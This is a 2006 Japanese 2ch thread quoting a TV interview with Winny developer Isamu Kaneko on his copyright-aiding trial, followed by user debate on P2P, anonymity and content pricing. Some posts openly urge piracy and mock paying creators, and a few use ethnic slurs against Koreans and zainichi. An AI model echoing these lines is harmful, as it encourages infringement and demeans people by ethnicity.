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【Winny】 「日本の国益考えると、ウィニー裁判は負けられぬ」 独占!金子被告が語る"虚と実"★2

1 :☆ばぐた☆ ◆JSGFLSFOXQ @☆ばぐ太☆φ ★:2006/06/15(木) 13:23:26 ID:???0
・『Winny』は、4年前にネットで公開され、瞬く間にネット界を席巻した。
 2年前、東大大学院の助手の金子勇被告が逮捕され、その素顔が明らかになった。
 今、無罪を主張する金子被告が、“Winnyの光を影”を語った。

 <金子勇被告>「全体の国益の問題。国益と考えると、この裁判は負けるわけにいかない」
 VOICEの独占取材に応じた金子被告は取材中、何度も「国益」と言う言葉を口にした。
 <金子勇被告>「せっかく(ソフトを)作ったのであれば、手元に置いておくよりは、公開して
 皆さんに見せた方が、皆さんの利益になるんですよ。強力な技術であることは間違いないと
 思うんですよ、情報を共有する技術は。特に今後のネット世界では、重要な技術ですから」

 金子被告が問われているのは、「著作権法違反のほう助」の罪。
 ソフトの開発者がこのような罪に問われるのは、異例中の異例である。

 <記者>「違法利用があるのにバージョンアップを続けた?」
 <金子勇被告>「止めました。(違法利用が問題になったころ)Winny1に関しては開発が
 止まってました。(改良を続けていた)Winny2はBBS(=電子掲示板)のソフトですので
 完璧にその辺でも勘違いされてるんですよ。そもそもWinnyがあんなに広まると思って
 ないし、間違ってもユーザーさん(が、違法使用を)メインで使うようになると思ってません
 から、それよりも、『技術的な可能性』を示すことが重要だと思ったもんですから」
 「Winnyをネット上に公開したのは、『せっかく思いついたアイデアが使い物になるか
 どうかを試すため』だ。この点だけは譲れない」と、金子被告は笑ってみせた。

 金子被告は「面白い技術は皆で共有すべきだ」と考えている。
 だから、これまでWinny以外の様々なプログラムもネット上で無料で公開してきた。
 仕事でもプログラムは作るが、好きなソフトを作って人を喜ばせる方が性に合っていると話す。
 (抜粋。>>2-10につづく)


2 :☆ばぐた☆ ◆JSGFLSFOXQ @☆ばぐ太☆φ ★:2006/06/15(木) 13:23:36 ID:???0
(つづき)
 <東京大学・竹内郁雄教授>
 「影響、彼が(事件のせいで)色んなことをできないというのは損失ではあるが、他にも
 (プログラマーは)いっぱい居るから、そういう人たちが萎縮してなければ、大きな影響は
 ないとは思う。ただ、これが、本当にほう助罪みたいな、不思議なアレで、有罪が出ると
 また大騒ぎになるでしょうね」

 金子被告は今、あるネット商品のソフト開発に携わっている。Skeed Castというその
 商品は、インターネットで動画などを送受信するためのソフトだ。
 <ドリームボート・加藤弘幸副社長>
 「例えば、証券会社の投資セミナーに参加できなかった方が、後から映像を見るとか、
 ギターの弾き方とか、ヨガ教室とか、動画であるが故に相手に伝わりやすいものはもっとある」
 今回のソフトでは、大規模なサーバーの代わりに、Winnyで実証されたパソコン群が
 エンジンとなり、動画などのコンテンツが配信される。
 サーバーを使わないことでコストダウンになり、システムの安定性も増すと言う。

 Winnyが目指したもの。金子被告は、新たな取り組みを通して、それが日本のネット
 ビジネスの強力な武器になりうる技術だったことを実証しようとしている。

 <金子勇被告>「『止まってればいいのか、先に進んだ方がいいのか』の戦いみたいに
 思っているんですよ。私は『どんどん先に進むべきだ』という考えなんですよ。警察とか、
 そういう方々は『止まってた方がいい』という感じだと思うんですよ。私は基本的に『先に
 答えがある』と思ってますから。『未来は明るい派』なので、『技術は最高だ』なので」

 京都地裁での裁判も大詰めを迎え、近いうちに、“Winnyがもたらした光と影”に裁判所の
 判断が下される。
 この世にWinnyを生み出したプログラマーは、無邪気にもこう言うのである。
 <金子勇被告>
 「『どんな物でも、うまく作りすぎちゃうと問題がある』ってことじゃないですか?」(抜粋)
 http://mbs.jp/voice/special/200606/13_3181.shtml

※前:http://news19.2ch.net/test/read.cgi/newsplus/1150297716/

3 :名無しさん@6周年:2006/06/15(木) 13:25:23 ID:HwSVQIHh0
さっさと負けてくれ

4 :名無しさん@6周年:2006/06/15(木) 13:36:38 ID:dq9TxJIl0
4

5 :名無しさん@6周年:2006/06/15(木) 13:41:21 ID:6WsIuWqc0
学習能力の低いUserの多いWindows版を作ったのが混乱の元

6 :名無しさん@6周年:2006/06/15(木) 13:41:34 ID:YJet0T4S0

基本的に
中国・韓国などの海外勢力とつながったWinnyのネットワークであるが・・

ウィルスの蔓延により、重要情報が海外勢力にも流出してしまった!
この問題をどう考えているのか?

これこそ「国益を損なう事件」ではないのか?

初めからこの問題を阻止するよう設計せず
Winnyを広めた点についてぜひ反省をしてもらいたい。


7 :名無しさん@6周年:2006/06/15(木) 13:46:25 ID:KLsKOLBG0
>>6
それはwinny以前の問題が大きいと何度いえば(りゃ

8 :名無しさん@6周年:2006/06/15(木) 13:47:16 ID:AaT5qdpM0
>>6
>初めからこの問題を阻止するよう設計せず
>Winnyを広めた点についてぜひ反省をしてもらいたい。
winnyはまだ全然開発途上の未完成品。
とっかかりで開発者が捕まったおかげで、未完成のままソフトが
無秩序に拡散してしまった。
京都府警のせいだな。

9 :名無しさん@6周年:2006/06/15(木) 13:50:52 ID:YJet0T4S0
>>8

どこからインプリメントするかの違い。
初めから阻止できない仕組みなら未完成品でもダメ!

ものを作ったことあるの?



10 :名無しさん@6周年:2006/06/15(木) 13:54:45 ID:Lb/sIT540
京都府警やりすぎ。
こんな醜悪な立件見たことない。
マスコミに意図的に情報をリークして世論を誘導は罪だ。
捜査中の不確定情報をリークするのを犯罪とすべき。

11 :名無しさん@6周年:2006/06/15(木) 13:55:31 ID:8vQ5TSGc0
ところで判決は何時でつか?

12 :名無しさん@6周年:2006/06/15(木) 13:56:16 ID:gQLdWQlO0
つーか論点がずれとる、P2Pは合法
あとは「著作権法違反のほう助」かどうかだけだ


13 :名無しさん@6周年:2006/06/15(木) 13:57:25 ID:U3tdB4+20
nyは著作権より匿名性が目障りでつぶそうとしてるんだろ。
あんなもんで犯罪予告ばらまかれたり、暴露文書ばらまかれたり
したらどうしようもなくなるからな。


14 :名無しさん@6周年:2006/06/15(木) 14:00:13 ID:YJet0T4S0
>「『どんな物でも、うまく作りすぎちゃうと問題がある』ってことじゃないですか?」

自画自賛とはバカ?
天才プログラマーの オレからみればただのタコ。


15 :名無しさん@6周年:2006/06/15(木) 14:00:37 ID:gaJtCBv00
>>5
んーだな

16 :名無しさん@6周年:2006/06/15(木) 14:03:08 ID:KLsKOLBG0
>>9
そもそもウィルス媒介の温床になることはキンタマ発覚まで気がついてなかったし、誰も指摘してなかったし

>>11
9月に結審の模様、早ければ11月

17 :名無しさん@6周年:2006/06/15(木) 14:04:58 ID:uRzNBknv0
>>6
>初めからこの問題を阻止するよう設計せず

こんな論法なら、
穴だらけでハッキングされまくりのWindowsメーカー関係者も
それ以前にインターネットを構築して来た人達も
獄舎にブチ込めという事にならんか?

>>13
>著作権より匿名性が目障りでつぶそうとしてるんだろ。

という事だろ

18 :Mr48 ◆duwyzLhGgU :2006/06/15(木) 14:07:02 ID:BY46tILc0
【Winny】 「日本の国益考えると、ウィニー裁判は負けられぬ」 独占!金子被告が語る"虚と実"★2
ttp://news19.2ch.net/test/read.cgi/newsplus/1150345406/

 金子被告は「面白い技術は皆で共有すべきだ」と考えている。
 だから、これまでWinny以外の様々なプログラムもネット上で無料で公開してきた。
 仕事でもプログラムは作るが、好きなソフトを作って人を喜ばせる方が性に合っていると話す。

今欲しい技術って47氏が持ってるんじゃないか

47氏光臨してくれないかな? 期待age


19 :名無しさん@6周年:2006/06/15(木) 14:07:46 ID:t/QEYauUO
今更だが、アプリが著作権違反ほう助になるなら、コンピュータを作ったヤツこそが罪だろ?
死因がハサミを使っての刺殺だった場合にハサミメーカーが立件されてるような矛盾を感じる・・・

20 :名無しさん@6周年:2006/06/15(木) 14:10:02 ID:kCeOQJsK0
何で政府は国益になる人間をことごとく潰そうとするのかね

シーボルト事件や蛮社の獄で蘭学者を葬り去り
大戦中は優秀な技術者を特攻させ

日本が戦後高度成長したのも、日本国政府の手腕じゃなく、
こういう才能ある民間人が大勢いたからこぞなしえたわけで

21 :名無しさん@6周年:2006/06/15(木) 14:13:40 ID:FsHZWYai0
>>8 >>9 >>14
つまんねー釣り

22 :名無しさん@6周年:2006/06/15(木) 14:14:00 ID:sITXf5BuO
日本ならGoogleは検索のキャッシュが違法扱いになって創業者タイーホ
日本にユーチューブがあったら、(ry
タイーホ

どっちみちタイーホ

23 :名無しさん@6周年:2006/06/15(木) 14:15:25 ID:kCeOQJsK0
>>19
ハサミを使う人の9割9分9厘は、人を殺すために使うのではないが
Winnnyを使う人の9割9分は、違法ファイルを手に入れるために使うのから

よくあるレトリックだが、手段と目的を忘れちゃいかん

24 :名無しさん@6周年:2006/06/15(木) 14:15:47 ID:v0clGXn20
出る杭を打つのも良いが、
打つ前によく考えろアホ

25 :名無しさん@6周年:2006/06/15(木) 14:20:49 ID:sITXf5BuO
>>23
どんな目的があろうとハサミとかカッターを持ち歩いてただけで逮捕される国な件

26 :名無しさん@6周年:2006/06/15(木) 14:22:13 ID:AaT5qdpM0
>>21
あれ、俺釣り扱いかwww

27 :名無しさん@6周年:2006/06/15(木) 14:22:51 ID:kCeOQJsK0
>>25
ハサミを使う人の9割9分9厘は、屋内で使ったりケースに入れる

28 :名無しさん@6周年:2006/06/15(木) 14:24:31 ID:Mms6I/R+0
逮捕しなかったら、どのようにソフトを改良しただろうか。
情報を共有してPCだけでなく、人々をさらに結びつけようとしていたのだろうか。
面白い理念だが、時代を先取りしすぎて旧社会に潰されちゃったな。

29 :名無しさん@6周年:2006/06/15(木) 14:27:43 ID:sITXf5BuO
>>25
ハサミやカッターを持ち歩く人の9割9分9厘は人殺しのために持ち歩いてるわけではない。

30 :名無しさん@6周年:2006/06/15(木) 14:29:07 ID:3AUBTo+S0
>>23
違法かどうかは別として「ファイル」を手に入れやすいP2P
これがnyの至上の使用方法

31 :名無しさん@6周年:2006/06/15(木) 14:31:37 ID:AaT5qdpM0
ま、国益云々というのもあながち間違いじゃない。
この手のものは絶対誰かが作るものだし、作られた限りは必ず伝播してくる。
手をこまねいてると、日本でこまごまとした法律論争しているうちに、海外製の
金の取れるサービスがあっという間に既成事実作って日本市場を席巻するだろうな。

つーか、もう国益効果出てるだろ。
これがイスラエルやらの手の届かない国のフリーソフトだったりしてみろよ、
こんなぬるい法律論争自体出来なくなるっつーの。

32 :名無しさん@6周年:2006/06/15(木) 14:32:21 ID:2REE4/YF0
日本が右寄りでいくつもりならこんなもん放っておけないよ。
2ちゃんねらも右寄りがいいんだろ?
いつもの二枚舌でP2Pだけは左かい?

33 :名無しさん@6周年:2006/06/15(木) 14:32:25 ID:x8XRpAQu0
>>31
たしかに

34 :名無しさん@6周年:2006/06/15(木) 14:32:48 ID:gaJtCBv00
>>5
もういっかい同意

35 :再投稿:2006/06/15(木) 14:34:32 ID:TtskfCyS0
著作権がパブリックドメインとまでは言わないが、日本の著作権物の
販売者(団体)の価格・ターゲット戦略が間違ってるからもう少し、消費者の実態に
あわせた状況に調整する必要があると俺は思う。

ダウンロード販売やP2Pを利用したコンテンツ配信システムによって適正化を
進めていけると思っているし、システムの作り方と消費者が納得できる価格設定と
利便性のバランシングを図る事によって違法なコンテンツの流通は十分に抑制していける。

俺はWinnyを利用していたがコンテンツに支払う金が0になったかというとそうでもない。

音楽のジャンルを例に取ると、日本の3000円のアルバムや1200円のシングルCDは
ここ8年買ってない。(かといってそもそも聞いてもいないから落としたわけでもない)
しかし本棚1500円〜1980円で購入できる良質の洋楽CDが棚を埋め尽くしている。

映画を落とすことも可能だが、面倒なのでレンタルDVDを利用する事が多い。
著作物販売者とレンタル屋の間で様々な勘定がなされた結果、今のレンタルシステムが
繁栄している現実を見れば、利用者は350円程度の支払を苦でないと考えている事と、
著作権者はその価格でペイできている様が伺われる。
また中古品業界との軋轢も興味深い。このジャンルに関しては著作権団体との間で
コンセンサスが取れているとは言えないが、少なくとも消費者は現在の新品価格を高いと
感じ、中古品売買の存続を望んでいる。

・海外との著作物の価格設定の差
・レンタル価格を目安とした薄利多売戦略
・若干でも安ければ中古品でも構わないと考える消費者
・P2Pコンテンツ配信の中間コストはないに等しい(管理者の人件費+α程度)
P2Pを利用したコンテンツ配信システムによって、現在のパッケージ流通の中卸売りという
形態を脱皮したならば、双方に取って利のあるコンテンツ流通が実現可能になる。
金子氏も俺も未来の話をしているのであって、このスレで現在のWinnyの問題に論点を
終始するのは無意味。

36 :名無しさん@6周年:2006/06/15(木) 14:34:36 ID:I6s5wWS+0
消えてなくなっても構わないと思うのは構わないが
対策を現実的に進めるための議論すら放棄してたんじゃ何も進まないよ
ほっといて消えるものじゃないわけで

侵害があるならその侵害は永遠に続く
逮捕も(別件でないなら)不可能だけど
それでも旧来の法律を守れと声高に叫び続けるだけってのは
無能者の考え
現実見たほうがいい

37 :名無しさん@6周年:2006/06/15(木) 14:35:20 ID:KLsKOLBG0
>>31
> この手のものは絶対誰かが作るものだし、作られた限りは必ず伝播してくる。
> 手をこまねいてると、日本でこまごまとした法律論争しているうちに、海外製の
> 金の取れるサービスがあっという間に既成事実作って日本市場を席巻するだろうな。

まさにiPod、iTunes、iTMSがその典型だったわけだな

38 :名無しさん@6周年:2006/06/15(木) 14:35:35 ID:gueA4m7YO
お尻プリンセスを落とすのが国益か…

39 :名無しさん@6周年:2006/06/15(木) 14:36:37 ID:VCpa+oLV0
前スレ>>989
>>解析もあっという間に終わってる代物
これはソースが京都府警に渡ったから。
新verではもう役に立たないけどね(・∀・)ニヤニヤ

40 :35の続き:2006/06/15(木) 14:37:34 ID:TtskfCyS0
Winnyユーザはかなりの数になっているし、潜在的に興味があって使ってみたいと
思う層はさらに多いと思われるが、日本全体から見ればまだ極少数派であり

・仕組みが良くわからない
・ウイルスや情報漏洩が怖い
・法を犯すことに抵抗がある

等の理由で多数の人間がためらいを感じている。

ここに、安価な料金で正規コンテンツを簡便に入手できるシステムをいいタイミング
で放り込めば多くの潜在層・一般の消費者層を一気に取り込んで、Winnyを再び
裏の隅っこの世界に追いやる事は十分に可能。

さらに付け加えると、このシステムは市場を「世界規模に」容易に拡大できる。
まさに大きなパラダイムシフトのチャンスであり、それをいち早く行う事を金子氏は
国益と行っているわけだが、ここでWinnyの善悪論に終始している方たちには
5-10年先の事を見据えた視点を持っていただきたい。

このままではアメリカに先を越されるのは目に見えてるけどな。

この前に麻生外務大臣の話のニュースがあったが
麻生外務大臣 マンガ・アニメ外交構想を語る
ttp://animeanime.jp/biz/archives/2006/04/429.html

今の日本のアニメやコミックは自動車についで世界に通用する貴重な
資産である事は世界的に認知されており、上手く利用して市場を世界に
拡大すれば莫大な収益をあげる事が可能だと思う。
(イタリア国営放送がどらえもんを放映してるらしい)

41 :名無しさん@6周年:2006/06/15(木) 14:37:44 ID:MpA6/Kqx0
コピー機とファックス作った人が捕まったようなもんですか?

42 :名無しさん@6周年:2006/06/15(木) 14:39:49 ID:Xp5ixLsv0
お前等わかってないなあ。
これはな・・・。

次に、MIcrosoftまで操作の手を伸ばして、日本国産OSのシェアを取り戻す為の
国策なんだよ。
「著作権法違反のほう助」ができるようなOSを作ったMicrosftを追い込む為の
大事な実験かつ世論喚起なんだから、余計な事ウダウダいうなよw

43 :名無しさん@6周年:2006/06/15(木) 14:40:36 ID:HLm53kRk0
「一寸の虫にも五分の魂」だな・・・

44 :名無しさん@6周年:2006/06/15(木) 14:41:41 ID:aRc2j5FR0
>>38
その話題秋田
行ったことの本質と、ゴシップを切り離せない人が2ちゃんには多いな


45 :名無しさん@6周年:2006/06/15(木) 14:44:54 ID:VCpa+oLV0
はぁ、この際国民全員nyやって、職人だけが買い、
nyユーザーが職人に募金したら面白いのになwww

46 :名無しさん@6周年:2006/06/15(木) 14:45:14 ID:lNc9vTRG0
前スレ含めて「Winny利用者は在日」コピペを
貼りまくってたネトウヨさんがいない・・・
ちょっと悲しいなw帝京コピペも最近見ないし・・・

飽きたのかなw

47 :名無しさん@6周年:2006/06/15(木) 14:45:22 ID:vfNI4wi+0
nyのなにが日本国として対外利益を上げているのか不明なのに
「日本の国益」で、これだけスレ伸ばせる金子は釣りの天才。

48 :名無しさん@6周年:2006/06/15(木) 14:46:08 ID:YJet0T4S0
>>20

才能があっても、
マスコミに一切スルー! 政策からもスルー! という場合もあるのに気づけよ。

インターネット定点観測(無料公開)
http://www.netpub.tsuzuki.yokohama.jp/detect/index.html


49 :名無しさん@6周年:2006/06/15(木) 14:46:39 ID:gQLdWQlO0
データの暗号化は必要ってのは分かるけど
一次配信者の匿名性がなんで必要なのかをどう説明するかだな

50 :名無しさん@6周年:2006/06/15(木) 14:46:50 ID:evjwNhGq0
まあぶっちゃけて言えば
俺は金払ってンのに何でおまいらはタダで遊んでンだよ気にくわねぇと。
NHKと同じだな。

51 :名無しさん@6周年:2006/06/15(木) 14:47:17 ID:tHj4d4/g0
>>44
ゴシップで煽ろうとする人と、それに乗らない冷静な人が2ちゃんには多いな

52 :名無しさん@6周年:2006/06/15(木) 14:48:22 ID:9kdxOA940
個人的にはストリーミング配信が広告収入で視聴者が無料でみれるように
なってきてるからwinnyとかどうでもいいかな。
まぁ著作権問題なんか企業どうしてやって個人にまでもってこないでくれ。



53 :名無しさん@6周年:2006/06/15(木) 14:49:02 ID:gueA4m7YO
nyが著作権者にちゃんと対価が還元されるソフトなら文句言わんがその辺の配慮は欠片すら見られないソフトだと思うが



54 :名無しさん@6周年:2006/06/15(木) 14:49:23 ID:VCpa+oLV0
お前ら全員nyやれよ
それで解決だろうに

55 :名無しさん@6周年:2006/06/15(木) 14:50:32 ID:tHj4d4/g0
>>49
匿名性は必要だろ
真面目で評判な区役所のAさんが合法自作ポルノ小説流してたり、
おとなしくて目立たないいじめられっこの学生のBさんがパンク楽曲を自作放流してたりする世の中だから

56 :名無しさん@6周年:2006/06/15(木) 14:50:35 ID:LHlFoxKy0
判決はいつ出るんだよ。

57 :名無しさん@6周年:2006/06/15(木) 14:50:41 ID:f47XaJyY0
>>48
このサイト何? 激しくごちゃごちゃしてて読みづらいんですが
才能っていうからには何か画期的なのかな
パッと見、IDSの状況表示にしか見えんけど

58 :名無しさん@6周年:2006/06/15(木) 14:51:22 ID:M/Xe2xg30
ソニーがベータ作ったときに
アメリカでディズニーとユニバーサルスタジオに訴えられた事件を思い出す

まぁプログラム作っただけで逮捕されるのはたまらんと言うのは同意

59 :名無しさん@6周年:2006/06/15(木) 14:51:42 ID:VCpa+oLV0
>>53
だからなんでタダで手に入る手段があるのに、態々対価を払う必要があるんだよ?
著作権者が可哀想?配慮?知るかよwwwwwwwwww
お前もタダが一番なんだろ?正義感ぶってんじゃねえぞwwwwwwwwww

60 :名無しさん@6周年:2006/06/15(木) 14:51:49 ID:gueA4m7YO
ごめん在日と違って
最低限のモラルはもってるんで

61 :名無しさん@6周年:2006/06/15(木) 14:53:29 ID:gQLdWQlO0
>>55
犯罪でなければプロパイダーも個人情報を公表できない
winnyに頼る必要が無いんだよ

62 :名無しさん@6周年:2006/06/15(木) 14:53:34 ID:XdtvE+ytO
実損がでてるしなあ…でも追っかけてくとネットが悪い、ウインドウズが悪い、パソコンが悪いってなっちゃう

63 :名無しさん@6周年:2006/06/15(木) 14:53:47 ID:I6s5wWS+0
アプリケーションに個人情報保護機能がついてるのは当然だと思うが
何か問題があるのか

64 :名無しさん@6周年:2006/06/15(木) 14:54:01 ID:bgHTAFZ70


  目 障 り だ か ら ツ ブ さ れ た



それ以外の理由がまっっっったく見えません
本当にありがとうございました

65 :名無しさん@6周年:2006/06/15(木) 14:54:32 ID:tHj4d4/g0
>>61
正攻法が全てじゃないでしょ?
怨み妬み嫉み興味本位愉快犯
プロバイダーが守ってくれんの?

66 :名無しさん@6周年:2006/06/15(木) 14:54:40 ID:Trxo2RlmO
>>53
著作権管理してる団体がDQNだからなあ

67 :名無しさん@6周年:2006/06/15(木) 14:54:47 ID:YJet0T4S0
>>57

IDSじゃない。

IDSは「通信バケットレベル」のものしかわからないし
「偽装IPアドレスを使った通信バケット」は検知すらできないのだよ。



68 :名無しさん@6周年:2006/06/15(木) 14:54:55 ID:VCpa+oLV0
お前ら素直になるんだ
日本も韓国と同じパクリ民族なんだ


69 :名無しさん@6周年:2006/06/15(木) 14:55:24 ID:TtskfCyS0
>>47 >>48
だからいい加減「Winny論」という枠から思考を切り離せと言ってる。

匿名性を一切放棄し、適当な形でプロテクトをした正規コンテンツのみを
中央サーバ群から一次放流してウイルスや捏造・不正コンテンツの流通を防ぎ
安価で(出来れば定額制が望ましい)、安全で、誰にでも仕えるP2Pコンテンツ配信システム
を作って普及させればいい。

Winnyは裏の世界の中に残り続けるだろうが、一般消費者層はWinnyよりも上記の
システムを取り入れるだろう。

世の中には表と裏の側面がありWinnyのような裏舞台も必要だと思うし、Winnyの廃絶を
目指す必要はないと考える。
むしろ、上記のシステムの裏の側面としてWinnyがひっそりと存在する事で余計バランスが
取れると個人的には思うが、俺の主張は本筋は一般消費者層へのクリーンなコンテンツ
配信システムの構築。

70 :名無しさん@6周年:2006/06/15(木) 14:55:36 ID:aRc2j5FR0
割れなんてのは昔からあったけど、>>59みたいな馬鹿はいなかったな
みんな悪いことしてる自覚はあったから、地下でひっそりやってた
結局こういう奴がおおっぴらに入ってきたから社会的な大問題になったんだな

71 :名無しさん@6周年:2006/06/15(木) 14:57:00 ID:Twwdtukk0
「国益」といういささか不似合いな言葉を使ってるのは完全に2ch対策だろう。
2chねらーに個人の権利や自由などを説いても左翼よばわりして執拗に憎悪する。
「国益」を持ち出せば、それがどう国益につながるか説明できなくても
2chねらーは踊ってくれる。

72 :名無しさん@6周年:2006/06/15(木) 14:57:47 ID:f47XaJyY0
>>67
だから何が画期的なの?って聞いてるんだが
パッと見って書いた部分は、当然違うだろうことは当然予測してることは
読み取れると思うが、ただ「違う」で終わられると何も分からん
「偽装IPパケットが検知できる」のが画期的だといいたいの?

73 :名無しさん@6周年:2006/06/15(木) 14:58:21 ID:VCpa+oLV0
俺は掲示板なんだから素直になれと言っているんだが


74 :名無しさん@6周年:2006/06/15(木) 14:58:39 ID:gueA4m7YO
まだストレートにだだだから使ってんだよ惚けみたいのほうがマシだわ
それを国益とか技術の発展とか俺は正義のためにやってんだ
みたいな奴らが見苦しい



75 :名無しさん@6周年:2006/06/15(木) 14:59:49 ID:tHj4d4/g0
>>74
そんなクマー

76 :名無しさん@6周年:2006/06/15(木) 14:59:50 ID:9kdxOA940
こういうネットを使った著作権侵害なんかいくらでもあるのに
逮捕者が二人のwinnyの作者を幇助で逮捕すること自体は確実におかしい。
実際問題としてマメに見せしめ逮捕どんどんしていくしかないんじゃない?
ほんとにとめるつもりなら。まぁいくらでもソフトや方法の台頭は後絶たないんだろうけど。

77 :名無しさん@6周年:2006/06/15(木) 15:00:57 ID:9PPzKi380
コピー機を使ってお札を刷ったら、コピー機製造会社の人が逮捕されるようなもんですか?


78 :名無しさん@6周年:2006/06/15(木) 15:01:25 ID:KkFoqjVw0
ny利用者の無法っぷりからしてこんなの詭弁もいいとこだけど
裁判に負ける理由は全然ない
なんなんだこれ

79 :名無しさん@6周年:2006/06/15(木) 15:02:33 ID:aINwgamF0
この朝鮮人の被告がぬけぬけと「国益」だと?

80 :名無しさん@6周年:2006/06/15(木) 15:02:51 ID:B+KrkaFK0
何か矛盾があるのさ

81 :名無しさん@6周年:2006/06/15(木) 15:02:54 ID:91ihP5uP0
表に出すぎたんだよ。


82 :名無しさん@6周年:2006/06/15(木) 15:02:59 ID:gQLdWQlO0
>>65
義務がある
それにプロパイダーが駄目でwinnyが大丈夫っていうのはおかしいよ
プロバイダーは知ろうと思えば契約者がwinny使ってる事や
どんなデータをやり取りしているかわかるんだからね

83 :名無しさん@6周年:2006/06/15(木) 15:03:05 ID:Xp5ixLsv0
>>61

ヒント:情報漏洩

84 :名無しさん@6周年:2006/06/15(木) 15:03:40 ID:f47XaJyY0
作者が逮捕されようとny悪用者wには痛くも痒くもないよな
昔のように悪用者が見せしめ逮捕されるほうが震え上がるだろうに。

85 :名無しさん@6周年:2006/06/15(木) 15:03:53 ID:VCpa+oLV0
だから国益云々は、winnyを指してるんじゃなくて
前スレからもP2P技術だって言ってんだろうw


86 :名無しさん@6周年:2006/06/15(木) 15:04:25 ID:5s94eCFs0
論点が違うだろ。
share開発者が捕まってないのは「著作権法違反の幇助」をしてないからで
winnyの開発者が訴えられたのはしているから。それだけ。

87 :名無しさん@6周年:2006/06/15(木) 15:04:31 ID:YJet0T4S0
>>72
> 「偽装IPパケットが検知できる」のが画期的だといいたいの?

偽装IPパケットとは
送信元に偽装されたIPアドレスを持つ通信パケットのことなんだが・・

まず「偽装されたIPアドレス」の意味を勉強してくれ。

でなければ、説明しても理解はできない。


88 :名無しさん@6周年:2006/06/15(木) 15:04:33 ID:aRc2j5FR0
>>76
どうやって追跡するか、何の罪にするかなど問題あるが、できるんならそれが一番効果的
1ヶ月に1人ずつ捕まえたら、多分ネットワークは数ヶ月で崩壊する
利用者は、どうせ捕まらないという気持ちがあるから

89 :名無しさん@6周年:2006/06/15(木) 15:05:09 ID:/Asis3JP0
こりゃ大容量ハードディスクドライブを作った奴が一番悪いな

90 :名無しさん@6周年:2006/06/15(木) 15:06:13 ID:9PPzKi380
>>70
お礼は三行以上だからね!

偽装わかりませんヒント下さい

1200-1850 2010-2030 2500-2555までのファイルがデリられてます;;
お手数ですが再うぷ願えませんでしょうか?

偽装、猫缶→あかねぐい→のえみまでは解けました・・・そこから進めません・・・

結合ツール教えてください

91 :名無しさん@6周年:2006/06/15(木) 15:06:17 ID:tHj4d4/g0
>>82
日本語でplz

92 :名無しさん@6周年:2006/06/15(木) 15:06:23 ID:f47XaJyY0
>>87
変に省略したのはまずかったね。ちゃんとIPアドレス偽装だってことは
認識してるよ。
だから、何が画期的なのかってのを教えて下され
「才能」が無視されている、と言っているんだからアピールしてくれんと

93 :名無しさん@6周年:2006/06/15(木) 15:07:19 ID:VCpa+oLV0
>>プロバイダーは知ろうと思えば契約者がwinny使ってる事や
>>どんなデータをやり取りしているかわかるんだからね
分かりませんw
ノードからの解析も、プロバイダーじゃ不可能だし
nypでは旧verソースを基にした解析も役に立たない。

月に〜〜〜GB以上落とすと、規制がかかるプロバイダはあるけどね(・∀・)

94 :名無しさん@6周年:2006/06/15(木) 15:07:49 ID:gueA4m7YO
P2Pソフト発展阻害してるの金子タンだと思うけど

95 :名無しさん@6周年:2006/06/15(木) 15:08:53 ID:I6s5wWS+0
ああすればよかったとか
あいつが悪いとか
そんなの後でやれ
現状どう止めるんだよ
超法規的に逮捕者バンバン出すか
前向きに利用しつつ著作権者への還元方法を考えるかしろよ

96 :名無しさん@6周年:2006/06/15(木) 15:08:54 ID:9PPzKi380
よ、漸くtxtファイル探し出せました!!
っと思ったら、全デリですか・・・
一歩以上遅かった・・・(;_;

97 :名無しさん@6周年:2006/06/15(木) 15:09:36 ID:Xp5ixLsv0
>>82
アホ?winnyはともかくパケット暗号化の意味合いが何もわかってないね。

暗号化通信は、暗号化パケットが流れている事は、そりゃあ、データ―経由
してるとこはわかるが、暗号化パケットの中身が読めるわけないだろうが。

極端な話、どんなアプリ使ってデータ―やり取りしてるのすら、知られたくな
いならもう一段、暗号化かませばそれすら可能。

暗号化されたパケットの中身すらプロバイダーが読めるなら、どんな超技術
持ちのハッカー集団が経営してるプロバイダーなんだよw

98 :名無しさん@6周年:2006/06/15(木) 15:09:42 ID:aRc2j5FR0
>>90
拡張子の意味と、バイナリエディタの使い方を覚えたあの頃・・・

99 :名無しさん@6周年:2006/06/15(木) 15:09:57 ID:VCpa+oLV0
>>95
うるせーよ
止められるわけ無いだろ、止めてみろよ。
現状はお前も使い始めれば良いんだよ。

100 :名無しさん@6周年:2006/06/15(木) 15:11:14 ID:vfNI4wi+0
>>69
切り離せ?、新たなのを普及?、それこそ現実逃避で話のすり替えに過ぎない。
今現在の問題は「ny」が引き起こしていることだろ。それを踏まえて別なのを普及
云々は別の話だよ。

配布したnyを、今すぐすべてのPCから削除とか出来るのかい?
現実世界からの切り離しなんて出来ない。現実の世界に戻ってきなさい。まずは
nyをどうするかだ。対策できないから新しいのに切り替えて過去を忘れたい、
なかったことにしたい、という気持ちもわからないでもないけどさ。

101 :名無しさん@6周年:2006/06/15(木) 15:11:24 ID:I6s5wWS+0
>>99
皮肉だ
理解しろ

102 :名無しさん@6周年:2006/06/15(木) 15:11:29 ID:tHj4d4/g0
>>95
田中芳樹が嫌いになった今でも、超法規的って言葉が嫌いでムカつく

103 :名無しさん@6周年:2006/06/15(木) 15:11:30 ID:5yvcx7aY0
金子の持ってるDL専用nyがあればな・・・

104 :名無しさん@6周年:2006/06/15(木) 15:13:42 ID:Vt6reWQR0
>>87
source ip spoofingの検知が画期的なのか?

105 :名無しさん@6周年:2006/06/15(木) 15:14:21 ID:B+KrkaFK0
>>94
国益になってんじゃないのw

106 :名無しさん@6周年:2006/06/15(木) 15:15:29 ID:XxjDq1CFO
>>25
枝切鋏全否定か

107 :名無しさん@6周年:2006/06/15(木) 15:15:31 ID:uPkZqcr90
>>35
>>40
>>69

に禿同

108 :名無しさん@6周年:2006/06/15(木) 15:15:42 ID:+MwgAgjIO
著作物に金払ってDL?
構わないよ。

そのかわり値段下げろよ。データが安価で安全にDLできるなら使うけど、無駄に高いピンハネしてるから値段上がるんだろ?


著作権法改正か管理団体の在り方を考えるのが先。
p2p自体は素晴らしい技術。

109 :名無しさん@6周年:2006/06/15(木) 15:15:45 ID:VCpa+oLV0
相手のPCの中身を検索DOSで抜き取る。
こんな使い方を、Winny制作者の金子氏は了承していたかな?
そもそも暗号を解読(つまり秘密を前提に送受信している内容)を解読し
さらにそれを他人に知らせるのは、違法なのは間違いない
Winnyが違法で、対抗手段も違法でOkならば
他の暗号化通信にとっても危機である。




110 :名無しさん@6周年:2006/06/15(木) 15:18:10 ID:YJet0T4S0
>>92

理解してないね。IDSで検知できると思っている??


